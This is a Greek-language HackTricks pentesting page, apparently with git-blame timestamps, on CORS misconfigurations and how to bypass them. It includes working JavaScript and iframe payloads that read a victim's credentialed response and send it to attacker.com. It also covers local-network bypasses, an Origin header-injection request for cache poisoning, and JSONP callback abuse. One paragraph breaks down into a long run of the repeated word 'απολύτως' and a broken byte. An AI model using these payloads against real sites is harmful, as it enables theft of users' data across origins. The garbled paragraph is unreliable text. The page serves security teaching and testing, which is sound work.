hacktricks/pentesting-web/cors-bypass.md

336 lines
44 KiB
Markdown
Raw Normal View History

2024-02-10 22:40:18 +00:00
# CORS - Λανθασμένες ρυθμίσεις και Παράκαμψη
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι υποστήριξης του HackTricks:
2023-12-31 01:25:17 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 22:40:18 +00:00
## Τι είναι το CORS;
2024-02-10 22:40:18 +00:00
Το Cross-Origin Resource Sharing (CORS) επιτρέπει στους διακομιστές να καθορίζουν ποιος μπορεί να έχει πρόσβαση στους πόρους τους και ποιες μέθοδοι αιτήσεων HTTP επιτρέπονται από εξωτερικές πηγές.
2024-02-10 22:40:18 +00:00
Μια πολιτική **ίδιας προέλευσης** απαιτεί από έναν **διακομιστή που ζητά** έναν πόρο και τον διακομιστή που φιλοξενεί τον **πόρο** να μοιράζονται τον ίδιο πρωτόκολλο (π.χ. `http://`), το όνομα τομέα (π.χ. `internal-web.com`) και τη **θύρα** (π.χ. 80). Με βάση αυτήν την πολιτική, μόνο ιστοσελίδες από τον ίδιο τομέα και την ίδια θύρα επιτρέπεται η πρόσβαση στους πόρους.
2024-02-10 22:40:18 +00:00
Η εφαρμογή της πολιτικής ίδιας προέλευσης στο πλαίσιο του `http://normal-website.com/example/example.html` απεικονίζεται ως εξής:
2024-02-10 22:40:18 +00:00
| Ανακτούμενη διεύθυνση URL | Επιτρεπόμενη πρόσβαση; |
| -------------------------------------------------------- | ------------------------------------------------- |
| `http://normal-website.com/example/` | Ναι: Ίδιο πρωτόκολλο, τομέας και θύρα |
| `http://normal-website.com/example2/` | Ναι: Ίδιο πρωτόκολλο, τομέας και θύρα |
| `https://normal-website.com/example/` | Όχι: Διαφορετικό πρωτόκολλο και θύρα |
| `http://en.normal-website.com/example/` | Όχι: Διαφορετικός τομέας |
| `http://www.normal-website.com/example/` | Όχι: Διαφορετικός τομέας |
| `http://normal-website.com:8080/example/` | Όχι: Διαφορετική θύρα* |
2024-02-10 22:40:18 +00:00
*Ο Internet Explorer αγνοεί τον αριθμό θύρας κατά την επιβολή της πολιτικής ίδιας προέλευσης, επιτρέποντας έτσι αυτήν την πρόσβαση.
2024-02-10 22:40:18 +00:00
### Κεφαλίδα `Access-Control-Allow-Origin`
2024-02-10 22:40:18 +00:00
Αυτή η κεφαλίδα μπορεί να επιτρέψει **πολλαπλές προέλευσεις**, μια τιμή **`null`**, ή έναν χαρακτήρα αντιστοίχισης **`*`**. Ωστόσο, **κανένας περιηγητής δεν υποστηρίζει πολλαπλές προέλευσεις**, και η χρήση του χαρακτήρα αντιστοίχισης `*` υπόκειται σε **περιορισμούς**. (Ο χαρακτήρας αντιστοίχισης πρέπει να χρησιμοποιείται μόνος του, και η χρήση του μαζί με το `Access-Control-Allow-Credentials: true` δεν επιτρέπεται.)
2024-02-10 22:40:18 +00:00
Αυτή η κεφαλίδα **εκδίδεται από έναν διακομιστή** ως απόκριση σε μια αίτηση πόρου διασυνοριακής προέλευσης που ξεκινά από μια ιστοσελίδα, με τον περιηγητή να προσθέτει αυτόματα μια κεφαλίδα `Origin`.
2024-02-10 22:40:18 +00:00
### Κεφαλίδα `Access-Control-Allow-Credentials`
2024-02-10 22:40:18 +00:00
Από προεπιλογή, οι διασυνοριακές αιτήσεις γίνονται χωρίς διαπιστευτήρια όπως τα cookies ή η κεφαλίδα Authorization. Ωστόσο, ένας διακομιστής διασυνοριακής προέλευσης μπορεί να επιτρέψει την ανάγνωση της απόκρισης όταν αποστέλλονται διαπιστευτήρια, ορίζοντας την κεφαλίδα `Access-Control-Allow-Credentials` σε **`true`**.
2024-02-10 22:40:18 +00:00
Εάν οριστεί σε `true`, ο περιηγητής θα μεταδώσει διαπιστευτήρια (cookies, κεφαλίδες εξουσιοδότησης ή πιστοποιητικά πελάτη TLS).
```javascript
var xhr = new XMLHttpRequest();
2021-06-15 19:55:10 +00:00
xhr.onreadystatechange = function() {
2024-02-10 22:40:18 +00:00
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
2021-06-15 19:55:10 +00:00
}
2024-02-10 22:40:18 +00:00
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
```
```javascript
fetch(url, {
2024-02-10 22:40:18 +00:00
credentials: 'include'
})
```
2021-04-12 11:42:31 +00:00
```javascript
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
```
2024-02-10 22:40:18 +00:00
### CSRF Προεπιλεγμένο αίτημα
2021-04-12 11:42:31 +00:00
2024-02-10 22:40:18 +00:00
### Κατανόηση των προεπιλεγμένων αιτημάτων στην επικοινωνία μεταξύ περιοχών
2021-11-30 16:46:07 +00:00
2024-02-10 22:40:18 +00:00
Όταν πραγματοποιείται ένα αίτημα μεταξύ περιοχών υπό συγκεκριμένες συνθήκες, όπως η χρήση ενός **μη προτυποποιημένου HTTP μεθόδου** (οποιαδήποτε άλλη εκτός από HEAD, GET, POST), η εισαγωγή νέων **κεφαλίδων** ή η χρήση μιας ειδικής τιμής για την **κεφαλίδα Content-Type**, μπορεί να απαιτηθεί ένα προεπιλεγμένο αίτημα. Αυτό το προκαταρκτικό αίτημα, με τη χρήση της μεθόδου **`OPTIONS`**, ενημερώνει τον διακομιστή για τις προθέσεις του επερχόμενου αιτήματος μεταξύ περιοχών, συμπεριλαμβανομένων των μεθόδων HTTP και των κεφαλίδων που πρόκειται να χρησιμοποιηθούν.
2021-11-30 16:46:07 +00:00
2024-02-10 22:40:18 +00:00
Το πρωτόκολλο **Cross-Origin Resource Sharing (CORS)** απαιτεί αυτόν τον έλεγχο προεπιλογής για να καθορίσει την εφικτότητα της αιτούμενης λειτουργίας μεταξύ περιοχών ελέγχοντας τις επιτρεπόμενες μεθόδους, τις κεφαλίδες και την αξιοπιστία της προέλευσης. Για μια λεπτομερή κατανόηση των συνθηκών που αποφεύγουν την ανάγκη για προεπιλεγμένο αίτημα, ανατρέξτε στον εκτενή οδηγό που παρέχεται από το [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
2024-02-10 22:40:18 +00:00
Είναι σημαντικό να σημειωθεί ότι η **απουσία ενός προεπιλεγμένου αιτήματος δεν αναιρεί την απαίτηση για τις κεφαλίδες εξουσιοδότησης** στην απάντηση. Χωρίς αυτές τις κεφαλίδες, ο περιηγητής είναι ανίκανος να επεξεργαστεί την απάντηση από το αίτημα μεταξύ περιοχών.
2024-02-10 22:40:18 +00:00
Λάβετε υπόψη το παρακάτω παράδειγμα ενός προεπιλεγμένου αιτήματος που στοχεύει στη χρήση της μεθόδου `PUT` μαζί με μια προσαρμοσμένη κεφαλίδα με το όνομα `Special-Request-Header`:
```
2024-02-05 20:00:40 +00:00
OPTIONS /info HTTP/1.1
Host: example2.com
...
2024-02-05 20:00:40 +00:00
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
2024-02-10 22:40:18 +00:00
Ως απάντηση, ο διακομιστής μπορεί να επιστρέψει κεφαλίδες που υποδεικνύουν τις αποδεκτές μεθόδους, την επιτρεπόμενη προέλευση και άλλες λεπτομέρειες πολιτικής CORS, όπως φαίνεται παρακάτω:
2024-02-05 20:00:40 +00:00
```markdown
HTTP/1.1 204 No Content
...
2024-02-05 20:00:40 +00:00
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
2024-02-05 20:00:40 +00:00
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
2024-02-10 22:40:18 +00:00
- **`Access-Control-Allow-Headers`**: Αυτή η κεφαλίδα καθορίζει ποιες κεφαλίδες μπορούν να χρησιμοποιηθούν κατά τη διάρκεια του πραγματικού αιτήματος. Το διακομιστής το ορίζει για να υποδείξει τις επιτρεπόμενες κεφαλίδες στα αιτήματα από τον πελάτη.
- **`Access-Control-Expose-Headers`**: Μέσω αυτής της κεφαλίδας, ο διακομιστής ενημερώνει τον πελάτη για τις κεφαλίδες που μπορούν να εκτεθούν ως μέρος της απόκρισης εκτός από τις απλές κεφαλίδες απόκρισης.
- **`Access-Control-Max-Age`**: Αυτή η κεφαλίδα υποδεικνύει πόσο καιρό μπορούν να αποθηκευτούν τα αποτελέσματα ενός προ-πτήσης αιτήματος στην προσωρινή μνήμη. Ο διακομιστής ορίζει το μέγιστο χρόνο, σε δευτερόλεπτα, που οι πληροφορίες που επιστρέφονται από ένα προ-πτήσης αίτημα μπορούν να χρησιμοποιηθούν ξανά.
- **`Access-Control-Request-Headers`**: Χρησιμοποιείται σε προ-πτήσης αιτήματα, αυτή η κεφαλίδα ορίζεται από τον πελάτη για να ενημερώσει τον διακομιστή για τις κεφαλίδες HTTP που ο πελάτης θέλει να χρησιμοποιήσει στο πραγματικό αίτημα.
- **`Access-Control-Request-Method`**: Αυτή η κεφαλίδα, που χρησιμοποιείται επίσης σε προ-πτήσης αιτήματα, ορίζεται από τον πελάτη για να υποδείξει ποια μέθοδος HTTP θα χρησιμοποιηθεί στο πραγματικό αίτημα.
- **`Origin`**: Αυτή η κεφαλίδα ορίζεται αυτόματα από τον περιηγητή και υποδεικνύει την προέλευση του αιτήματος διασύνδεσης προέλευσης. Χρησιμοποιείται από τον διακομιστή για να αξιολογήσει εάν το εισερχόμενο αίτημα πρέπει να επιτραπεί ή να απορριφθεί βάσει της πολιτικής CORS.
2024-02-10 22:40:18 +00:00
Σημειώστε ότι συνήθως (ανάλογα με τον τύπο περιεχομένου και τις κεφαλίδες που ορίζονται) σε ένα αίτημα **GET/POST δεν αποστέλλεται προ-πτήσης αίτημα** (το αίτημα αποστέλλεται **απευθείας**), αλλά αν θέλετε να έχετε πρόσβαση στις **κεφαλίδες/σώμα της απόκρισης**, πρέπει να περιέχει μια κεφαλίδα _Access-Control-Allow-Origin_ που το επιτρέπει.\
**Επομένως, η CORS δεν προστατεύει από CSRF (αλλά μπορεί να είναι χρήσιμη).**
2024-02-10 22:40:18 +00:00
### **Προ-πτήσης αίτηματα τοπικού δικτύου**
2024-02-10 22:40:18 +00:00
1. **`Access-Control-Request-Local-Network`**: Αυτή η κεφαλίδα περιλαμβάνεται στο αίτημα του πελάτη για να υποδείξει ότι το αίτημα απευθύνεται σε ένα τοπικό δίκτυο. Λειτουργεί ως δείκτης για να ενημερώσει τον διακομιστή ότι το αίτημα προέρχεται από το εσωτερικό του τοπικού δικτύου.
2024-02-10 22:40:18 +00:00
2. **`Access-Control-Allow-Local-Network`**: Ως απάντηση, οι διακομιστές χρησιμοποιούν αυτήν την κεφαλίδα για να επικοινωνήσουν ότι ο προτεινόμενος πόρος επιτρέπεται να κοινοποιηθεί με οντότητες εκτός του τοπικού δικτύου. Λειτουργεί ως πράσινο φως για την κοινοποίηση πόρων σε διάφορα όρια δικτύου, εξασφαλίζοντας ελεγχόμενη πρόσβαση διατηρώντας τους πρωτόκολλα ασφαλείας.
2024-02-10 22:40:18 +00:00
Μια **έγκυρη απόκριση που επιτρέπει το αίτημα του τοπικού δικτύου** πρέπει να έχει επίσης στην απόκριση την κεφαλίδα `Access-Controls-Allow-Local_network: true` :
```
HTTP/1.1 200 OK
...
2024-02-05 20:00:40 +00:00
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
```
{% hint style="warning" %}
2024-02-10 22:40:18 +00:00
Σημειώστε ότι η διεύθυνση IP **0.0.0.0** στο Linux λειτουργεί για να **παρακάμψει** αυτές τις απαιτήσεις για πρόσβαση στον τοπικό υπολογιστή, καθώς αυτή η διεύθυνση IP δεν θεωρείται "τοπική".
2024-02-10 22:40:18 +00:00
Είναι επίσης δυνατόν να **παρακαμφθούν οι απαιτήσεις του τοπικού δικτύου** εάν χρησιμοποιείτε τη **δημόσια διεύθυνση IP ενός τοπικού σημείου πρόσβασης** (όπως η δημόσια διεύθυνση IP του δρομολογητή). Επειδή σε πολλές περιπτώσεις, ακόμα κι αν η **δημόσια IP** προσπελαύνεται, εάν είναι **από το τοπικό δίκτυο**, θα γίνει πρόσβαση.
{% endhint %}
2024-02-10 22:40:18 +00:00
## Ευπάθειες που μπορούν να εκμεταλλευτούν
2024-02-10 22:40:18 +00:00
Έχει παρατηρηθεί ότι η ρύθμιση του `Access-Control-Allow-Credentials` σε **`true`** είναι μια προϋπόθεση για τις περισσότερες **πραγματικές επιθέσεις**. Αυτή η ρύθμιση επιτρέπει στον περιηγητή να στείλει διαπιστευτήρια και να διαβάσει την απόκριση, βελτιώνοντας την αποτελεσματικότητα της επίθεσης. Χωρίς αυτό, η χρησιμοποίηση του περιηγητή για να εκδώσει ένα αίτημα αντί να το κάνει κανείς ο ίδιος χάνει το πλεονέκτημα, καθώς η εκμετάλλευση των cookies ενός χρήστη γίνεται αδύνατη.
2024-02-10 22:40:18 +00:00
### Εξαίρεση: Εκμετάλλευση της τοποθεσίας του δικτύου ως αυθεντικοποίηση
2024-02-10 22:40:18 +00:00
Υπάρχει μια εξαίρεση όπου η τοποθεσία του δικτύου του θύματος λειτουργεί ως μορφή αυθεντικοποίησης. Αυτό επιτρέπει τη χρήση του περιηγητή του θύματος ως ένα είδος διαμεσολαβητή, παρακάμπτοντας την αυθεντικοποίηση βάσει IP για πρόσβαση σε εφαρμογές εντός του εταιρικού δικτύου. Αυτή η μέθοδος έχει ομοιότητες με την ανακατεύθυνση DNS, αλλά είναι πιο απλή στην εκμετάλλευσή της.
2024-02-10 22:40:18 +00:00
### Αντανάκλαση του `Origin` στο `Access-Control-Allow-Origin`
2024-02-10 22:40:18 +00:00
Η πραγματική περίπτωση όπου η τιμή του κεφαλίδας `Origin` αντανακλάται στο `Access-Control-Allow-Origin` είναι θεωρητικά απίθανη λόγω των περιορισμών στον συνδυασμό αυτών των κεφαλίδων. Ωστόσο, οι προγραμματιστές που επιθυμούν να ενεργοποιήσουν το CORS για πολλές διευθύνσεις URL μπορεί να δημιουργήσουν δυναμικά την κεφαλίδα `Access-Control-Allow-Origin` αντιγράφοντας την τιμή της κεφαλίδας `Origin`. Αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες, ειδικά όταν ένας επιτιθέμενος χρησιμοποιεί έναν τομέα με ένα όνομα που σχεδιάστηκε να φαίνεται νόμιμο, παραπλανώντας έτσι τη λογική επικύρωσης.
2021-11-30 16:46:07 +00:00
```html
<script>
2024-02-10 22:40:18 +00:00
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
2021-11-30 16:46:07 +00:00
</script>
```
2024-02-10 22:40:18 +00:00
### Εκμεταλλευόμενοι την προέλευση `null`
2021-11-30 16:46:07 +00:00
2024-02-10 22:40:18 +00:00
Η προέλευση `null`, που καθορίζεται για καταστάσεις όπως ανακατευθύνσεις ή τοπικά αρχεία HTML, κατέχει μια μοναδική θέση. Ορισμένες εφαρμογές προσθέτουν αυτήν την προέλευση στη λευκή λίστα για να διευκολύνουν την τοπική ανάπτυξη, επιτρέποντας κατά λάθος σε οποιαδήποτε ιστοσελίδα να προσομοιώσει μια προέλευση `null` μέσω ενός iframe που έχει τεθεί σε αμμοδοχείο, παρακάμπτοντας έτσι τους περιορισμούς του CORS.
2021-11-30 16:46:07 +00:00
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
2024-02-10 22:40:18 +00:00
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
2021-11-30 16:46:07 +00:00
</script>"></iframe>
```
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
2024-02-10 22:40:18 +00:00
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
2021-11-30 16:46:07 +00:00
</script>"></iframe>
```
2024-02-10 22:40:18 +00:00
### Τεχνικές Παράκαμψης Κανονικών Εκφράσεων
2024-02-10 22:40:18 +00:00
Όταν αντιμετωπίζετε μια λευκή λίστα τομέων, είναι κρίσιμο να ελέγξετε τις ευκαιρίες παράκαμψης, όπως την προσθήκη του τομέα του επιτιθέμενου σε έναν λευκού χρώματος τομέα ή την εκμετάλλευση ευπαθειών κατάληψης υποτομέων. Επιπλέον, οι κανονικές εκφράσεις που χρησιμοποιούνται για τον έλεγχο της εγκυρότητας του τομέα μπορεί να παραβλέπουν λεπτομέρειες στις συνθήκες ονοματολογίας του τομέα, παρέχοντας περαιτέρω ευκαιρίες παράκαμψης.
2024-02-10 22:40:18 +00:00
### Προηγμένες Τεχνικές Παράκαμψης Κανονικών Εκφράσεων
2024-02-10 22:40:18 +00:00
Οι πρότυποι των κανονικών εκφράσεων συνήθως επικεντρώνονται σε αλφαριθμητικούς χαρακτήρες, τελεία (.), και παύλα (-), αγνοώντας άλλες πιθανότητες. Για παράδειγμα, ένα όνομα τομέα που δημιουργείται για να περιλαμβάνει χαρακτήρες που ερμηνεύονται διαφορετικά από τους περιηγητές και τα πρότυπα κανονικών εκφράσεων μπορεί να παρακάμψει τους ελέγχους ασφαλείας. Η χειρισμός των χαρακτήρων κάτω απόγειος σε υποτομείς από τους περιηγητές Safari, Chrome και Firefox αποτελεί παράδειγμα πώς μπορούν να εκμεταλλευτούν τέτοιες αντιφάσεις για να παρακάμψουν τη λογική επικύρωσης του τομέα.
2024-02-10 22:40:18 +00:00
**Για περισσότερες πληροφορίες και ρυθμίσεις αυτής της παράκαμψης ελέγξτε:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **και** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
2024-02-05 20:00:40 +00:00
![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
2024-02-10 22:40:18 +00:00
### Από XSS μέσα σε έναν υποτομέα
2024-02-10 22:40:18 +00:00
Οι προγραμματιστές συχνά εφαρμόζουν μηχανισμούς προστασίας για να αποτρέψουν την εκμετάλλευση του CORS με τη λευκή λίστα τομέων που επιτρέπεται να ζητήσουν πληροφορίες. Παρά τα μέτρα αυτά, η ασφάλεια του συστήματος δεν είναι αδιάβλητη. Η παρουσία ακόμα και ενός ευπαθούς υποτομέα μέσα στους λευκούς τομείς μπορεί να ανοίξει την πόρτα για την εκμετάλλευση του CORS μέσω άλλων ευπαθειών, όπως το XSS (Cross-Site Scripting).
2024-02-10 22:40:18 +00:00
Για να το επεξηγήσουμε, ας υποθέσουμε το σενάριο όπου ένας τομέας, `requester.com`, είναι στη λευκή λίστα για να έχει πρόσβαση σε πόρους από έναν άλλο τομέα, `provider.com`. Η διαμόρφωση στην πλευρά του διακομιστή μπορεί να μοιάζει κάπως έτσι:
```javascript
2024-02-05 20:00:40 +00:00
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
2024-02-10 22:40:18 +00:00
// Access data
2024-02-05 20:00:40 +00:00
} else {
2024-02-10 22:40:18 +00:00
// Unauthorized access
2021-04-22 13:58:44 +00:00
}
```
2024-02-10 22:40:18 +00:00
Σε αυτή τη ρύθμιση, επιτρέπεται η πρόσβαση σε όλους τους υποτομείς του `requester.com`. Ωστόσο, αν ένας υποτομέας, όπως το `sub.requester.com`, παραβιαστεί με μια ευπάθεια XSS, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν την αδυναμία. Για παράδειγμα, ένας επιτιθέμενος με πρόσβαση στο `sub.requester.com` μπορεί να εκμεταλλευτεί την ευπάθεια XSS για να παρακάμψει τις πολιτικές CORS και να αποκτήσει παράνομη πρόσβαση σε πόρους στο `provider.com`.
2024-02-05 20:00:40 +00:00
2024-02-10 22:40:18 +00:00
### **Δηλητηρίαση μνήμης στην πλευρά του διακομιστή**
2024-02-10 22:40:18 +00:00
**[Από αυτήν την έρευνα](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
2024-02-10 22:40:18 +00:00
Είναι δυνατόν να προκληθεί μια ευπάθεια αποθήκευσης δηλητηριασμένης μνήμης στην πλευρά του διακομιστή μέσω εισαγωγής κεφαλίδων HTTP, προκαλώντας έτσι μια ευπάθεια αποθηκευμένης Cross-Site Scripting (XSS). Αυτό το σενάριο εκτυλίσσεται όταν μια εφαρμογή αποτυγχάνει να απολυμάνει την κεφαλίδα `Origin` για παράνομους χαρακτήρες, δημιουργώντας μια ευπάθεια ιδιαίτερα για τους χρήστες των προγραμμάτων περιήγησης Internet Explorer και Edge. Αυτοί οι προγράμματα περιήγησης θεωρούν το `\r` (0x0d) ως έγκυρο τερματιστή κεφαλίδας HTTP, οδηγώντας σε ευπάθειες εισαγωγής κεφαλίδων HTTP.
2024-02-10 22:40:18 +00:00
Λάβετε υπόψη το ακόλουθο αίτημα όπου η κεφαλίδα `Origin` παραπλανάται:
2024-02-05 20:00:40 +00:00
```text
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
2024-02-10 22:40:18 +00:00
Ο Internet Explorer και ο Edge ερμηνεύουν την απόκριση ως:
2024-02-05 20:00:40 +00:00
```text
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
2024-02-10 22:40:18 +00:00
Ενώ δεν είναι εφικτό να εκμεταλλευτείτε απευθείας αυτή την ευπάθεια κάνοντας έναν ιστό περιηγητή να στείλει ένα ακανόνιστο κεφαλίδα, μπορεί να δημιουργηθεί χειροκίνητα ένα προσαρμοσμένο αίτημα χρησιμοποιώντας εργαλεία όπως το Burp Suite. Αυτή η μέθοδος μπορεί να οδηγήσει σε αποθήκευση της απόκρισης από την πλευρά του διακομιστή και ακούσια παροχή της σε άλλους. Το προσαρμοσμένο φορτίο στοχεύει στην αλλαγή του συνόλου χαρακτήρων της σελίδας σε UTF-7, έναν τρόπο κωδικοποίησης χαρακτήρων που συχνά συνδέεται με ευπάθειες XSS λόγω της ικανότητάς του να κωδικοποιεί χαρακτήρες με έναν τρόπο που μπορεί να εκτελεστεί ως σενάριο σε συγκεκριμένα περιβάλλοντα.
2024-02-10 22:40:18 +00:00
Για περισσότερες πληροφορίες για ευπάθειες αποθηκευμένου XSS, δείτε [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
2024-02-05 20:00:40 +00:00
2024-02-10 22:40:18 +00:00
**Σημείωση**: Η εκμετάλλευση ευπάθειας εισαγωγής κεφαλίδας HTTP, ιδιαίτερα μέσω δηλητηρίασης της προσωρινής μνήμης του διακομιστή, υπογραμμίζει την κρίσιμη σημασία της επικύρωσης και απολύτως της απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτω<CF84>
2024-02-05 20:00:40 +00:00
```html
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
2024-02-05 20:00:40 +00:00
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
2024-02-05 20:00:40 +00:00
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>
```
2024-02-10 22:40:18 +00:00
## Παράκαμψη
2022-05-02 00:28:26 +00:00
### XSSI (Cross-Site Script Inclusion) / JSONP
2024-02-10 22:40:18 +00:00
Το XSSI, γνωστό επίσης ως Cross-Site Script Inclusion, είναι ένας τύπος ευπάθειας που εκμεταλλεύεται το γεγονός ότι η Same Origin Policy (SOP) δεν ισχύει όταν συμπεριλαμβάνονται πόροι χρησιμοποιώντας την ετικέτα script. Αυτό συμβαίνει επειδή τα scripts πρέπει να μπορούν να συμπεριληφθούν από διάφορους τομείς. Αυτή η ευπάθεια επιτρέπει σε έναν επιτιθέμενο να έχει πρόσβαση και να διαβάσει οποιοδήποτε περιεχόμενο περιλαμβάνεται χρησιμοποιώντας την ετικέτα script.
2024-02-10 22:40:18 +00:00
Αυτή η ευπάθεια γίνεται ιδιαίτερα σημαντική όταν πρόκειται για δυναμικό JavaScript ή JSONP (JSON με Padding), ειδικά όταν χρησιμοποιούνται πληροφορίες περιβάλλοντος-εξουσίας όπως τα cookies για την πιστοποίηση. Όταν ζητείται ένας πόρος από διαφορετικό κεντρικό υπολογιστή, τα cookies περιλαμβάνονται, καθιστώντας τα προσβάσιμα από τον επιτιθέμενο.
2024-02-05 20:00:40 +00:00
2024-02-10 22:40:18 +00:00
Για να κατανοήσετε καλύτερα και να αντιμετωπίσετε αυτήν την ευπάθεια, μπορείτε να χρησιμοποιήσετε το πρόσθετο BurpSuite που είναι διαθέσιμο στο [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Αυτό το πρόσθετο μπορεί να βοηθήσει στον εντοπισμό και την αντιμετώπιση πιθανών ευπαθειών XSSI στις εφαρμογές ιστού σας.
2024-02-10 22:40:18 +00:00
[**Διαβάστε περισσότερα για τους διάφορους τύπους XSSI και πώς να τους εκμεταλλευτείτε εδώ.**](xssi-cross-site-script-inclusion.md)
2024-02-10 22:40:18 +00:00
Προσπαθήστε να προσθέσετε ένα **`callback`** **παράμετρο** στο αίτημα. Ίσως η σελίδα ήταν προετοιμασμένη να στείλει τα δεδομένα ως JSONP. Σε αυτήν την περίπτωση, η σελίδα θα στείλει πίσω τα δεδομένα με `Content-Type: application/javascript` το οποίο θα παρακάμψει την πολιτική CORS.
![](<../.gitbook/assets/image (229).png>)
2024-02-10 22:40:18 +00:00
### Εύκολη (άχρηστη;) παράκαμψη
2024-02-10 22:40:18 +00:00
